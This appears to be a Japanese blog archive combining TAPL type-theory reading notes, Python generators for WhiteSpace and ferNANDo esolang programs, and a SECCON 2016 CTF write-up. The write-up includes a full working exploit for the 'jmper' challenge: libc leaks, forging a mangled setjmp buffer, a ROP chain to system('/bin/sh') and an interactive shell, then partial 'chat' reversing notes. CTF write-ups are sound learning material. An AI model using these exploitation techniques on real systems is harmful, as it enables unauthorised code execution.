『組を作る操作』と『射影を作る操作』を付け加える。 二つ組は添え字が1と2, 組は1~n, レコードは更に自由になる。

11.9 和

11.10 レコード

『和に埋め込む操作』と『タグと値を取り出す操作』を付け加える。 case文で値を取り出す際にはどのケースも同じ型を返す必要があるのは if文とかと同じ感じですね。

で、これの型チェックをうまくさせるために、 1. 型推論(型再構築)(22章まで) 2. 部分型関係(15章) 3. 型注釈(asによる) という手がある。 とりあえずは3でやっている。 (T-INLとT-INRは部分型関係を予感させる書き方ですね…)

レコードを使うことにより、 ・オプション(Haskellのmaybeっぽいもの) ・列挙型(C言語enum) ・単一フィールドのバリアント(typedefですかね)

11.11 一般的再帰

fixは派生形式として導入できない!! また、値を持たない、発散する項が作れる。 (停止性を犠牲にして計算能力を獲得する) letrec(再帰的定義)はfixを用いることによりから派生形式として得られる。

11.12 リスト

fixが入ったのでリストも派生形式として定義できる…気はするけれども、 今回は新しく導入されている。(23章を待て)

12章 正規化

単純型付きλ計算のすべての項は正規化可能である!!

TAPLを読む会(~7章)

2章 数学的準備

用語の定義、もしくは集合とか関係とか列とかについて。二項関係について慣れていれば大丈夫そう。

3章 型無し算術式

boolっぽいやつとnatっぽいやつだけからなる言語を例にとって、今後の概念について説明する。

3.1

対象言語とかメタ言語とか項,式,値とかについて。

3.2

帰納的な項の定義,推論規則による項の定義(証明木みたいな感じ),を定義する。この時点では型とかは考えていないので意味的にやばい式も項となりうる。そしてこれらの等価性を示す。

3.3

項の(深さ|サイズ|構造)についての帰納法についての説明と、その正当性について。これから沢山出てきます。

3.4

(操作的|表示的|公理的)意味論について紹介しているのだけれど正直それらの違いがよく分からない。

3.5

この節から本編。

B

まず、{true,false,if_then_else} のみからなる言語を例に取って説明している。

  • 構文 「項」と「値」に対応するメタ変数と、それらが何であるかが再帰的に定義されている。これによって

  • 評価 項がどう評価(簡約)されていくかを示す。最終的に同じ項に評価されるものでも、評価戦略はいろいろあったりする。

将来、型を表すメタ変数や型付け規則が追加されたりするが、この時点ではまだ型はない。

この節における「定義」は後々においても使われるが、「定理」は今見ている言語についてのものであり一般的ではない(まあしかし大抵は後の言語でも満たされる性質ばかりであるが)

評価が行き詰まらず、全ての項の正規形が値であることは型付けの一つの目標である。(評価が有限回で停止することも可能ならば目指したいが、その場合は計算能力を犠牲にすることになる)

この言語では、

  • 評価は決定的に行われる
  • 値 ⇔ 正規形
  • 正規形は一意
  • 評価が有限回で停止する(強正規化性的な)

が成り立つ。

B + N

数値が入ってくる。この体系でも「評価は決定的に行われる」が、正規形だが値でないもの(行き詰り状態)が発生する。(errorなものを全てwrongに簡約していくのはHaskellのNothingっぽい)

後、小ステップスタイルと大ステップスタイルについて。この本は全体的に小ステップで評価規則を定めている。 (小ステップは証明木に似ていて、大ステップはシークエント計算に似ているなと思った)

4章 算術式のML実装

やってねぇ…

5章 型無しラムダ計算

みんな大好き型無しλ計算

5.1

基礎。

  • 字句解析と構文解析
  • 自由変数、束縛変数、スコープ、コンビネータ
  • β簡約
  • 完全β簡約・正規順序・名前呼び・値呼び 

とか。評価戦略は型システムにはあまり関係ないのでさらっと。この本では値呼びでいく。

5.2

λ計算でひととおり遊ぶ。多分誰しもやったことがあるはず。 まず、 bool -> pair -> nat -> add,sub,mul くらいまで定義する。

計算体系の拡張

プリミティブとしてnat,boolを加えて、それらの間の相互変換をする話。2つのλ式が等価であるかは決定不能だった(はず)なので、λ式→数字変換関数があると便利。

再帰

不動点、fixのはなし。この本ではfixとしてZコンビネータを示している。(値呼び評価なので)

5.3

3.4でやったように、型無しλ計算の体系の性質を示したりする。が深入りはしない。 構文、代入(β簡約)における変数名についての諸注意、値呼びを実現するための評価戦略について。

6章 項の名無し表現

de Bruijn インデックスについて。型理論をやるにあたっては必要ないが、実際に実装するときに大いに参考になる。(僕のpythonでの実装はこれを参考にした)

7章 ラムダ計算のML実装

やってねぇ…

参考

自分の型無しλ計算のpython実装

esolangを書く、の2

この記事は、TSG Advent Calendar 2016 - Adventar の14日目のために公開されました。

先日のやつ esolangを書く - 忖度 の続きです。

今回はどちらも素手で書くのが困難な言語なので、pythonソースコードを出力させます。
先にネタバレしておくと、WhiteSpaceはアセンブリ言語っぽくて、ferNANDoは論理回路っぽいなと思いました。計算機システムとハードウェア構成法ですね。

WhiteSpace

これです。駒場祭に展示させたかったので当日に書きました。
ソースコード

    		  	  
    	
 
			     
    	 
 
			 
  	 	 
    	 
			    	 
	  
    
	
	     
			    		    
	  		       	 
 
			     	
			    	
	  	 
     	
 
			     
 
		  	
			 	 
    	 
				
 	


です。
どちらも読みにくくて仕方がないので、書くために使ったpythonソースコードを載せます。

#coding: utf-8
from Tkinter import Tk

def i2w(x):
	res = ""
	if x>=0:
		res += " "
	else:
		res += "\t"
		x *= -1
	ad = ''
	while x>0:
		ad = ("\t" if x%2==1 else " ") + ad
		x /= 2
	res += " " + ad
	return res

#http://www.kembo.org/whitespace/tutorial.html
#http://koturn.hatenablog.com/entry/2015/08/10/000000

def push(x):
	return "  " + i2w(x) + "\n"

geti = "\t\n\t\t"

getc = "\t\n\t "
	
outi ="\t\n \t"

endp = "\n\n\n" 

heap_s = "\t\t "
heap_l = "\t\t\t"

dup = " \n "

add = "\t   "
sub = "\t  \t"
mul = "\t  \n"
mod = "\t \t\t"
div = "\t \t "

swap = " \n\t"

def mark(x):
	return "\n  " + x + "\n"

def jmpng(x): #負だったら飛ぶやつ
	return "\n\t\t" + x + "\n"

def load(x):
	return push(x) + heap_l
def store(x):
	return push(x) + swap + heap_s

r = Tk()
r.clipboard_clear()

#s = push(0) + geti + push(0) + heap_l + outi + endp
s = (
	push(100) + store(1) + #カウンタをheap(1)に
	push(0) + store(2) + #答えをheap(2)に
	mark("\t \t ") + #ラベル
	
	load(2) + push(2) + mul +  #ansを二倍
	push(0) + getc + load(0) + #入力をpush
	push(ord('0')) + sub + add + 
	store(2) + #getcの結果を足してstore
	
	load(1) + #カウンタロード
	push(1) + sub + dup + store(1) + #デクリメントしてstore.
	push(0) + swap + sub + jmpng("\t \t ") + #正だったら飛ぶ
	load(2) + outi + #出力
	endp
)
r.clipboard_append(s)
#print getc + getc + endp[:-1]

中ほどに載っているリファレンスとインタプリタを参考にしました。
whitespaceはいちおうスタック型言語ですが、スタックに対するランダムアクセスがあったり、heap領域が使えたりするので、ふつうの言語と遜色なく書けます。実質アセンブリみたいなもんです。

今回は、IdeoeのWhiteSpaceインタプリタの内部実装がHaskellだったので、整数の大きさに制限がないです。
そのため、アルゴリズム

i = 100
ans = 0
while i>0:
  ans = ans * 2 + getc() - 48
  i --
puti(ans)

みたいな感じでしました。実質アセンブリでしたね。(for文のとこ、先にロードしてデクリメントしてから比較ジャンプするとことか)

ferNANDo

ferNANDo - Esolang :: 仕様
FerNANDo – Try it online! :: インタプリタ

Brainf*ckやBefungeやWhiteSpaceは有名ですが、これは初耳でした。その他の言語が高性能に思えるくらい仕様がシンプルでした。

仕様の簡単な説明

変数名は何でも可(ただし?は特別)。最初は全て0で初期化されている。
命令は3種類のみ。

nand
a b c 

と書くと、a に b NAND cの結果が代入される。

a b 

と書くと、a に a NAND bの結果が代入される。

ループ
hogehuga

と、1行に1変数だけ書くと、上に全く同じ行がなければ特に何もせず、上に同様に hogehuga とだけ書かれた行があった場合、hogehuga が1なら上の行にジャンプし、0ならそのまま次の行に移る。

入出力
a b c d e f g h

と書くと、a b c d e f g h を8ビットの数字としてみたものに対応するアスキーコードが出力される。

r a b c d e f g h

と書くと、a b c d e f g h に入力を1文字読み込んだもののアスキーコードが、rに入力に成功したかどうかが入る。

あと、?は特別な変数で、いつでも読み出し時にランダムな値が出てくるらしいですが、今回は使いませんでした(むしろこれに気付かないバグを踏んだ)

解法

見ての通り全変数が1bitのみで演算がNANDしかない言語です。
こんなんでプログラミングできるんかいなと思う人がいるかもしれませんが、いちおうNANDがあればANDやORやNOTができるので論理演算には事欠かず、またループも可能だし入出力もできるので問題を解けるポテンシャルがあるように思えます。(実際にwikiのサンプルコードの中にルール30をシュミレートするプログラムが書いてありました。ルール110ができればチューリング完全なので、多分ferNANDoもチューリング完全なのではないでしょうか)*1

で、実際に解いてみました。

#coding: utf-8
from Tkinter import Tk


init = """
0 0 0
0 0 0 
1 1 1 
"""

var_num = 0
def getv():
	#一桁変数は避ける。
	global var_num
	var_num += 1
	return 'v' + str(var_num)

def getvs(x):
	if x==1:
		return getv()
	else:
		return [getv() for i in xrange(x)]

#一時変数名の衝突を防ぐためにdで深さを入れる。
#あと、同じ名前が入ってきても大丈夫なように設計しましょう...
#具体的には、sに代入したあとに、aやbを参照すると壊れてる可能性がある。

def nand(s,a,b): # s = a nand b
	return "%s %s %s\n" % (s,a,b)

def one(a): #aに1を代入
	return nand(a,a,'0')

def not_(s,a): #s = !a
	return nand(s,a,a)

def zero(a): #aに1を代入
	return one(a) + not_(a,a)

def and_(s,a,b): # s = a & b
	return nand(s,a,b) + not_(s,s)

def mov(s,a): # s := a
	return and_(s,a,a)

def or_(s,a,b): # s = a | b
	return not_(a,a) + not_(b,b) + nand(s,a,b)

def xor(s,a,b): # s = a ^ b
	ta,tb,mb = getvs(3)
	return mov(mb,b) + not_(ta,a) + not_(tb,b) + nand(s,a,tb) + nand(tb,ta,mb) + nand(s,s,tb)

def ha(c,s,a,b): #ハーフアダー。
	#s = a ^ b
	#c = a & b
	ma, mb = getvs(2)
	return mov(ma,a) + mov(mb,b) + xor(s,ma,mb) + and_(c,ma,mb)

def fa(c,s,p,q,r): #フルアダー。
	#s = a ^ b
	#c = a & b
	mp, mq, mr, tp= getvs(4)
	return (
		mov(mp,p) + mov(mq,q) + mov(mr,r) + 
		ha(c,s,mp,mq) + ha(tp,s,s,mr) + or_(c,tp,c)
	)
	
def inc(ds): #dsで表される配列をインクリメントする。
	tp,tq = getvs(2)
	res = one(tp)
	for s in ds:
		res += and_(tq,tp,s)
		res += xor(s,tp,s)
		res += mov(tp,tq)
	return res

def neq(r,cs,ds): #csとdsを比べた結果をrに格納する。等しいなら0。
	res = zero(r)
	tt = getv()
	for p,q in zip(cs,ds):
		res += xor(tt,p,q)
		res += or_(r,r,tt)
	return res

def add(c,cs,ds): #cs += ds, cには桁上がりが入る
	nc,ns = getvs(2)
	res = zero(nc)
	for p,q in zip(cs,ds):
		res += fa(nc,ns,nc,p,q)
		res += mov(p,ns)
	res += mov(c,nc)
	return res

def movv(cs,ds): #cs := ds
	res = ""
	for t,d in zip(cs,ds):
		res += mov(t,d)
	return res

def sub(c,cs,ds): #cs += ds, cには負数でないかどうかが入る
	td = getvs(len(ds))
	res = movv(td,ds)
	for t in td:
		res += not_(t,t)
	res += inc(td)
	res += add(c,cs,td)
	return res

def geq(r,ds,cs): #ds>=csか
	td = getvs(len(ds))
	return movv(td,ds) + sub(r,td,cs) #+ "0 0 1 1 %s %s %s %s" % (td[3],td[2],td[1],td[0]) + "\n"

def lls(ds): #論理左シフト
	res = ""
	for i in range(0,len(ds)-1)[::-1]:
		res += mov(ds[i+1],ds[i])
	res += mov(ds[0],'0')
	return res

def andv(ds,a): #ds = map(lambda x: x & a,ds)
	res = ""
	for d in ds:
		res += and_(d,d,a)
	return res

def nibai(dss): #4bitリトルインディアン(10進)のものを各桁ごとに上から2倍していく
	ls = len(dss)
	res = ""
	tp,tq = getvs(2)
	tds = getvs(4)
	for i in range(0,ls-1)[::-1]:
		ds = dss[i]
		res += geq(tp,ds,['1','0','1','0'])
		#res += movv(tds,['0','1','0','1'])
		#res += andv(tds,tp)
		#res += sub(tq,ds,tds)
		res += sub(tq,ds,[tp,'0',tp,'0'])
		res += add(tq,dss[i+1],[tp,'0','0','0'])
		res += lls(ds)
	return res

r = Tk()
r.clipboard_clear()

cnt = ['c' + str(i) for i in xrange(10)]
ans = [['a' + str(i) + ',' + str(j) for j in xrange(4)] for i in xrange(33)]

s = (
	init + 
	movv(cnt,['0'] * 10) + 
	""
)

for ds in ans:
	s += movv(ds,['0'] * 4)

tp = getv()
s += (
	'x' + "\n" + 
	nibai(ans) + 
	'x x x x x x x x b' + "\n" + 
	add(tp,ans[0],['b','0','0','0']) + 
	inc(cnt) + 
	#"0 0 1 1 %s %s %s %s" % (cnt[3],cnt[2],cnt[1],cnt[0]) + "\n" + 
	#geq(tp,cnt,['1','1','0','0']) + 
	#"0 0 1 1 0 0 0 %s" % tp + "\n" + 
	neq('x',cnt,map(chr,map(ord,'0001100100'[::-1]))) + 
	#neq('x',cnt,map(chr,map(ord,'0000000110'[::-1]))) + 
	'x' + "\n" +
	""
)

for ds in ans[::-1]:
	s += ("0 0 1 1 %s %s %s %s" % (ds[3],ds[2],ds[1],ds[0])) + "\n"

print len(s)
r.clipboard_append(s)

ハーフアダーとかフルアダーとかインクリメンタとかアダーとかがあるのでもう論理回路ですね。

おおまかなアルゴリズムとしては、

counter = '0000000000'
loop
ans <- ans * 2
x x x x x x x b
ans <- ans + 1
loop <- counter < '0001100100'
loop
print ans

みたいな感じですかね。
ansを二倍する部分は、そもそも4bitのものを35桁分持ってないといけないので、ループを回すことができず、各桁について、

c <- ans[i] >= '0101'
ans[i+1] += '000c'
ans[i] -= '0c0c'
ans[i] <<= 1

みたいなことを35回書いてどうにかしました。

で、これで解けるのですが、これで出力するとコードの長さが約35万文字になりました。
今回は提出システムを@hakatashiが作ってくれたのですが、システムの都合上1万文字に抑えてくれと言われたので、ここからさらに論理圧縮をしてコード長を1/35にすることになりました。

最終的には、

#coding: utf-8
from Tkinter import Tk


init = """
0 0 0
0 0 0 
1 1 1 
"""

def nand(s,a,b): # s = a nand b
	if s==a: #10242 -> 10162
		return "%s %s\n" % (s,b)
	elif s==b:
		return "%s %s\n" % (s,a)
	return "%s %s %s\n" % (s,a,b)

def one(a): #aに1を代入
	return nand(a,a,'0')

def not_(s,a): #s = !a
	if s==a: #174122 -> 144684
		return "%s %s\n" % (s,'1')
	else:
		return nand(s,a,a)

def zero(a): #aに0を代入
	#return one(a) + not_(a,a)
	return "%s 1 1\n" % a #144684 -> 144098

def and_(s,a,b): # s = a & b
	return nand(s,a,b) + not_(s,s)

def mov(s,a): # s := a
	return and_(s,a,a)

def or_(s,a,b): # s = a | b
	return not_(a,a) + not_(b,b) + nand(s,a,b) 

def xor(s,a,b): # s = a ^ b
	tc,td,te = ('A','B','C')
	if a==s:
		te = s #10162 -> 9798
	return (
		nand(tc,a,b) + 
		nand(td,a,tc) + 
		nand(te,b,tc) + 
		nand(s,td,te) #144098 -> 119922
	)

def inc(ds): #dsで表される配列をインクリメントする。
	tp,tq = ('D','E')
	res = one(tp)
	for s in ds:
		res += and_(tq,tp,s)
		res += xor(s,tp,s)
		res += mov(tp,tq)
	return res

def neq(r,cs,ds): #csとdsを比べた結果をrに格納する。等しいなら0。
	res = zero(r)
	tt = 'F'
	for p,q in zip(cs,ds):
		res += xor(tt,p,q)
		res += or_(r,r,tt)
	return res


def add0or5(a,b,c,r): # cba += r0r をする
	tp,ic,ib = ('G','H','I')
	#return add(tp,[a,b,c],[r,'0',r])
	res = ""
	res += and_(ib,a,r)
	res += and_(ic,ib,b)
	res += xor(ic,ic,r)
	res += xor(c,c,ic)
	res += xor(b,b,ib)
	res += xor(a,a,r)
	return res

def sub5(r,a,b,c,d): # dcba -= 0101 をする。で、rに、dcba += 1011の繰り上がりの結果が入る
	
	ib,ic,id,ir = ('J','K','L','M') #38372 -> 15662
	res = ""
	res += not_(a,a)
	res += not_(ic,b)
	res += nand(ic,ic,a)
	res += nand(id,ic,c)
	res += not_(d,d)
	res += nand(ir,id,d) # 10498 -> 10242
	res += xor(b,b,a)
	res += xor(c,c,ic)
	res += xor(d,d,id)
	res += not_(r,ir)
	return res

def mo5sub5(r,ds): 
	#if ds>=5 then {ds -= 5; r=1;} else {r=0;}
	tq = 'N'
	res = ""

	res += sub5(r,ds[0],ds[1],ds[2],ds[3])
	res += add0or5(ds[0],ds[1],ds[2],r)
	
	#res += zero(ds[3]) #シフトするので不要。 11935 -> 11711
	return res

def lls(ds): #論理左シフト

	res = ""
	for i in range(0,len(ds)-1)[::-1]:
		res += mov(ds[i+1],ds[i]) 
	return res


def nibai(dss): #4bitリトルインディアン(10進)のものを各桁ごとに上から2倍していく
	ls = len(dss)
	res = ""
	tp,tq = ('O','P')
	for i in range(0,ls-1)[::-1]:
		ds = dss[i]
		res += mo5sub5(tp,ds)
		
		res += not_(dss[i+1][0],tp) #119922 -> 90322
		#print ds,
		res += lls(ds)
		#print ds
	return res

#変数名をAからRまで割り振ることにより、
#14807 -> 11935

var_num = 0
def getv():
	global var_num
	var_num += 1
	res = ""
	nv = var_num
	d = 127-33
	ok = True
	while nv>0:
		nc = nv%d+33
		res += chr(nc)
		nv /= d
	if len(res)<=1:
		c = res[0]
		if c=='0' or c=='1' or c=='?' or (ord('A') <= ord(c) and ord(c) <= ord('R')):
			#11511 -> 10704
			return getv()
	
	return res

def getvs(x):
	if x==1:
		return getv()
	else:
		return [getv() for i in xrange(x)]


r = Tk()
r.clipboard_clear()

import sys

ketan = 33
if len(sys.argv)>=2:
	ketan = 3

ans = [[getv() for j in xrange(4)] for i in xrange(ketan)]
cnt = [getv() for i in xrange(7)] #38372 -> 38030

s = (
	init + 
	""
)

s += (
	'Q' + "\n" + 
	nibai(ans) + 
	'Q Q Q Q Q Q Q Q R' + "\n" + 
	mov(ans[0][0],'R') + #15662 -> 14807
	inc(cnt) + 
	neq('Q',cnt,map(chr,map(ord,'1100100'[::-1]))) + 
	'Q' + "\n" +
	""
)

for ds in ans[::-1]:
	s += ("0 0 1 1 %s %s %s %s" % (ds[3],ds[2],ds[1],ds[0])) + "\n"

print len(s)
r.clipboard_append(s)

となりました。
改善点としては、

  • 出来る限り1文字変数名が多く使われるようにする
  • 加算、減算の数値がほぼ一定(0か5)なのでアダーを使わず回路を直に書き込む
  • nandやxorなどで同じ記号を使っているならその分短く書くことができる

とかですかね。論理圧縮すると回路ががりがり縮んでいきました。
最終的に、9798文字になったので、晴れてACを貰うことができました。

感想

BFやBefungeやWhiteSpaceのいかに書きやすいことか!!

SECCON 2016 online のwriteup

チームTSGとして、TSGメンバーの人々と集まって例のごとく参加していました。2600点で28位でした。
自分が主に解いた問題のwriteupとかを載せます。
12時間かけてjmperを解いて、9時間かけてchatを解いて、終了直前にropsynthを通した感じです。

jmper

問題と解法

x64のnot_stripped。NXあり、RELROあり。

生徒を増やしたり名前やメモを登録できたりするサービス。
以下はリバーシング時のメモ。(読みにくい)

//"1. Add student.\n2. Name student.\n3. Write memo\n4. Show Name\n5. Show memo.\n6. Bye :)"

f(){
	for(;;){
		scanf("%d",var18); //q
		if(q==1){
			if([602028]>0x1d){ //stn;
				longjump([602038]);
			}
			var8 = malloc(0x30);
			[var8] = stnnum;
			[var8+0x28] = malloc(0x20); //name
			[mycalss+stdnum*8] = var8;
			[602028]++;
		}
		else if(q==2){
			scanf("%d",var1c); //ID
			if([var1c]>=stdnum || [var1c]<0)exit();
			var10 = [[mycalss+var1c*8]+0x28];
			int i=0; //var14
			for(;i<=0x20;i++){
				char c = getchar(); //var1d
				if(c==0xa)break;
				[var10] = c;
				var10++;
			}
		}
		else if(q==3){ //write memo
			scanf("%d",var1c); //ID
			if([var1c]>=stdnum || [var1c]<0)exit();
			var10 = [mycalss+var1c*8]+0x8;
			int i=0; //var14
			for(;i<=0x20;i++){
				char c = getchar(); //var1d
				if(c==0xa)break;
				[var10] = c;
				var10++;
			}
		}
		else if(q==4){ //show name
			scanf("%d",var1c); //ID
			if([var1c]>=stdnum || [var1c]<0)exit();
			printf("%s",[[mycalss+var1c*8]+0x28]);
		}
		else if(q==5){ //show memo
			scanf("%d",var1c); //ID
			if([var1c]>=stdnum || [var1c]<0)exit();
			printf("%s",[mycalss+var1c*8]+0x8);
		}
		
	}
}

int main(){
	[602030] = malloc(0xf0); //my_class
	[602038] = malloc(0xc8); //jump buf
	if(setjmp([602038])==0){
		//bye;
		return;
	}
	f();
	return;
}
	

各生徒について、だいたい

struct student{
  int index;
  char memo[0x20]; // +0x8
  char* name; // +0x28; malloc(0x20);
};

みたいな感じで構造体があって、memoを書いたりnameを書いたりできる。

で、nemoを書くところにoff-by-oneがあって、nameの指しているアドレスをリークしたり、nameの下1byteを上書きしたりできる。

で、試してみると、一人目のstudentについて、

アドレス
heap_top+0x1e0 index
heap_top+0x1e8 memo
... ...
heap_top+0x208 name heap_top+0x220

となっていると分かったので、1byte上書きして、

アドレス
heap_top+0x1e0 index
heap_top+0x1e8 memo
... ...
heap_top+0x208 name heap_top+0x208

としてやったあと、更にnameを変更することにより、nameが任意アドレスを指すようにできるので、そのときにnameを表示させることによりlibcのアドレスをリークさせたり、その後のnameの書き換えで任意の場所が書き換え可能となったりする。

ここでGOTを上書きできればおしまいなのだが残念ながら問屋が卸さず今回はRELROである。



ここで、今回はsetjmp,longjumpというのがあって、生徒を沢山作ろうとするとlongjumpが呼ばれるようになっている。

これはいわゆる大域脱出に使われる関数で、呼ぶと引数のバッファに従って環境が戻される(すなわちripかrspとかが書き換えられる!!)。

ここで、jumpのためのバッファはmallocで確保されているのでアドレスが分かり、このバッファをいじることによってripとrspをいじれるようになる。

jmperでROPガジェットを探すと pop rdi; ret; が見つかるので、文字列"bin/sh"へのアドレスとsystemのアドレスを積んでいるスタックっぽい生徒の名前を作り、rspとripをROPが動くようにうまいこと書き換えればよい。



 以下のlongjmpの逆アセンブルによれば、バッファにはrspとripがfs:0x30とxorされてシフトされた状態で入っており、うまいこと書き換えてやる必要があると分かるので、それをやる。

(ripはもともとmainのsetjmpの直後になるようになっているので、そこから逆算してfs:0x30が分かる)

以下、libcのlongjmpのobjdumpの結果。

   36ae0:	4c 8b 47 30          	mov    r8,QWORD PTR [rdi+0x30]
   36ae4:	4c 8b 4f 08          	mov    r9,QWORD PTR [rdi+0x8]
   36ae8:	48 8b 57 38          	mov    rdx,QWORD PTR [rdi+0x38]
   36aec:	49 c1 c8 11          	ror    r8,0x11
   36af0:	64 4c 33 04 25 30 00 	xor    r8,QWORD PTR fs:0x30
   36af7:	00 00 
   36af9:	49 c1 c9 11          	ror    r9,0x11
   36afd:	64 4c 33 0c 25 30 00 	xor    r9,QWORD PTR fs:0x30
   36b04:	00 00 
   36b06:	48 c1 ca 11          	ror    rdx,0x11
   36b0a:	64 48 33 14 25 30 00 	xor    rdx,QWORD PTR fs:0x30
   36b11:	00 00 
   36b13:	48 8b 1f             	mov    rbx,QWORD PTR [rdi]
   36b16:	4c 8b 67 10          	mov    r12,QWORD PTR [rdi+0x10]
   36b1a:	4c 8b 6f 18          	mov    r13,QWORD PTR [rdi+0x18]
   36b1e:	4c 8b 77 20          	mov    r14,QWORD PTR [rdi+0x20]
   36b22:	4c 8b 7f 28          	mov    r15,QWORD PTR [rdi+0x28]
   36b26:	89 f0                	mov    eax,esi
   36b28:	4c 89 c4             	mov    rsp,r8
   36b2b:	4c 89 cd             	mov    rbp,r9
   36b2e:	ff e2                	jmp    rdx


以下が自分のコード。

#coding: utf-8
from socket import *
import time

#sudo gdb -q -p `pidof -s execfile` -x gdbcmd
#socat TCP-L:10001,reuseaddr,fork EXEC:./execfile

#./../../tools/rp-lin-x86 -file=mylibc --rop=3 --unique > mygads.txt

isgaibu = False
isgaibu = True

sock = socket(AF_INET, SOCK_STREAM)
if isgaibu:
	sock.connect(("jmper.pwn.seccon.jp", 5656))
	raw_input('gdb$')
		
else:
	sock.connect(("localhost", 10001))
	raw_input('gdb$')


size_t = 0x8 #x64かx86か。sizeof(void*) の値で。

def addr2s(x):
	res = ""
	for i in xrange(size_t):
		res += chr(x % 256)
		x /= 256
	return res

def s2hex(s):
	return map(lambda c: hex(ord(c)),s)
	
def s2addr(s):
	res = 0
	for i in xrange(size_t):
		res *= 256
		res += ord(s[size_t-i-1])
	return res
	
def shell():
	while True:
		sock.send(raw_input() + '\n')
		print sock.recv(1024)

def getunt(c):
	res = ""
	while res=='' or res[-len(c):]!=c:
		res += sock.recv(1)
		#print res
	print res
	return res

def send(s):
	#print '[sending :: %s]' % s
	time.sleep(0.1)
	sock.send(s)

def getshellc(fn):
	res = ""
	with open(fn,'rb') as fp:
		res = fp.read()
	print map(ord,res)
	return res


class FSB:
	def check_diff(sl):
		#return ''.join(map(lambda p: '%0x' + chr(p+ord('A')) , xrange(15)))
		return '%8x,' *  15
		#0x25,0x30,0x78,0x2c なので、そのへんを探す。
	def init(sl,kome,bytm,paynum,yet):
		#たとえば、deadbeef,cafebabe,abcd9876,3025cafe, ... なら、
		#fsb.init(kome=3,bytm=2,paynum=,yet=) で。

		sl.kome = kome
		sl.head = '*' * bytm
		#%hnでやっていきます
		sl.yet = yet + paynum * size_t * (size_t / 2) + bytm
		print 'yet .. ',sl.yet
		print yet
		#payloadは、yetとpaynum分ずれて出る。
		sl.data = []
		sl.npn = 0
	def add(sl,addr,val): #addrをvalにする
		
		for i in xrange(size_t/2): #x86なら2,x64なら4
			sl.head += addr2s(addr + i*2)
			sl.data.append((val % 0x10000, '%%%d$hn' % (sl.npn + sl.kome + 2)))
			val /= 0x10000
			sl.npn += 1
		#短い順にソートすることにより、ペイロードを短くする
		
	def get(sl):
		res = sl.head
		ny = sl.yet
		data = sorted(sl.data)
		for ty,s in data:
			dy = ((ty-ny + 0x10000) % 0x10000)
			if dy>0:
				res += '%%%dx' % dy
			res += s
			ny = ty
		#print len(sl.head)
		#print s2hex(sl.head)
		return res


def name(x,s):
	send('2\n%d\n' % x) #name
	send(s)
	getunt('6. Bye :)')
	
def memo(x,s):
	send('3\n%d\n' % x) #name
	send(s)
	getunt('6. Bye :)')

def add():
	send('1\n') 
	getunt('6. Bye :)')


def leak_got():
	add()
	memo(1,'b' * 0x20 + chr(0x78))
	name(1,addr2s(0x601fa0) + '\n')
	send('4\n1\n')
	s = getunt('6. Bye :)')
	s = s[4:]
	s = s[:6]
	s = s + '\x00' * 2
	print 'addr ..',hex(s2addr(s))
	raw_input('leak')
	return s2addr(s)

getunt('6. Bye :)')
add()
memo(0,'a' * 0x20 + '\n')

send('5\n0\n')
s = getunt('6. Bye :)')
s = s[0x24:]
s = s[:4] + '\x00' * 4
print s2hex(s)
ad = s2addr(s)
print hex(ad)
beas = ad - 0x220
toa = beas + 0x140
print hex(beas)

puts_ad = leak_got()

memo(0,'b' * 0x20 + chr(0x08))
name(0,chr(toa % 256) + chr((toa / 256) % 256) + '\n')

send('4\n0\n')
s = getunt('6. Bye :)')
s = s[4:]
s = s[:16]
#print s2hex(s)
s1 = s[:8]
s2 = s[8:]
x = s2addr(s2)

def ror(x):
	res = (x>>0x11) | ((x<<(0x40-0x11)) & ((1<<64)-1))
	return res

def rol(x):
	res = ((x<<0x11) & ((1<<64)-1)) | (x>>(0x40-0x11))
	return res
	
x = ror(x)

cana = x ^ 0x400c31 
x ^= (0x400c31 ^ 0x00400cc3) #pop rdi; ret
x = rol(x)

y = s2addr(s1)
y = ror(y)
y = cana ^ (beas + 0xe28)
y = rol(y)


send('2\n0\n') #name
send(addr2s(y) + addr2s(x) + '\n')
getunt('6. Bye :)')


binsh = puts_ad - 0x6fd60 + 0x17c8c3
syste = puts_ad - 0x6fd60 + 0x046590 

for i in xrange(27):
	print 'i ......  %d' % i
	send('1\n') #name
	getunt('6. Bye :)')

memo(28,addr2s(binsh) + addr2s(syste) + '\n')

send('1\n') #name
time.sleep(1)
print sock.recv(1024)
shell()

#SECCON{3nj0y_my_jmp1n9_serv1ce}

大会中

配置アドレスの確認とかに時間をかけすぎていてずいぶん時間がかかってしまった。
また、途中までOne-gadget-RCEでどうにかしようとしていて、与えられたlibcで手元で動かしたかったのでいろいろ試行錯誤していたが結局だめだった。(LD_LIBRARY_PATHでやろうとしてもなぜかセグフォしてうまくいかなかった)(仮想環境のlibcを置き換えようとしたところ、もともとあったlibcをmvしてから問題libcをcpしようとしたら、cpするためのlibcが無くなってしまったのでcpやmvが動かなくなり、仮想環境を一つぶっ壊してしまった。)
こんなに時間がかかるとは思っていなかったので泥沼という感じ。

chat

問題と解法

x64のnot_stripped。NX,canaryあり。

twitter風のチャットサービス。(僕は大会中ずっとこの問題をツイッターと呼んでいた)

以下はリバーシング時のメモ(書きかけ)(読めない)

int getnline(char* s,int ls){
	fgets(s,ls);して、strchr(s,'\x10');して消す奴
	return strlen(s);
}

int main(){
	/*
	1 : Sign Up	2 : Sign In
	0 : Exit
	*/
		char* acc = NULL; //rbp-0xa8
		char* name; //rbp-0xa0
		for(;;){
			if(accnum !=0){
				servise(acc);
 				logout(acc);
 			}
 			int n=getint();
 			if(n0<=n<=2){
 				getnline(name,0x20);
 				if(n==0)break;
 				if(n==1)signup(name);
 				else login(accnum,name);
 			}
 			else invalid;
 		}
}


void servise(char* user){
	char* un = user; //rbp-0xa8
	/*
	1 : Show TimeLine	2 : Show DM	3 : Show UsersList
	4 : Send PublicMessage	5 : Send DirectMessage
	6 : Remove PublicMessage		7 : Change UserName
	0 : Sign Out
	*/
	get_tweet(0);
	get_tweet([rbp-0xa8]);
	list_users();
	else if(q==4){
		getnline(rbp-0x90,0x80);
		post_tweet([rbp-0xa8],0,rbp-0x90); //
	}
	else if(q==5){
		getnline(rbp-0x90,0x20);
		[rbp-0x98] = getuser(rbp-0x90);
		getnline(rbp-0x90,0x80);
		post_tweet([rbp-0xa8],[rbp-0x98],rbp-0x90); //
	}
	else if(q==6){
		remove_tweet([rbp-0xa8],getint()); //
	}
	else{
		getnline(rbp-0x90,0x20);
		change_name([rbp-0xa8],rbp-0x90); //
	}
}

int hash(char* s){
	if(s==0)return -1;
	var4 = tolower(s[0]);
	if(!isprint(var4))return -1;
	return var4;// の 0x60あたり
}

void get_user(char* s){
	varc = hash(s);
	if(varc!=0){
		var8 = [user_tbl+varc*8];
		for(;;){
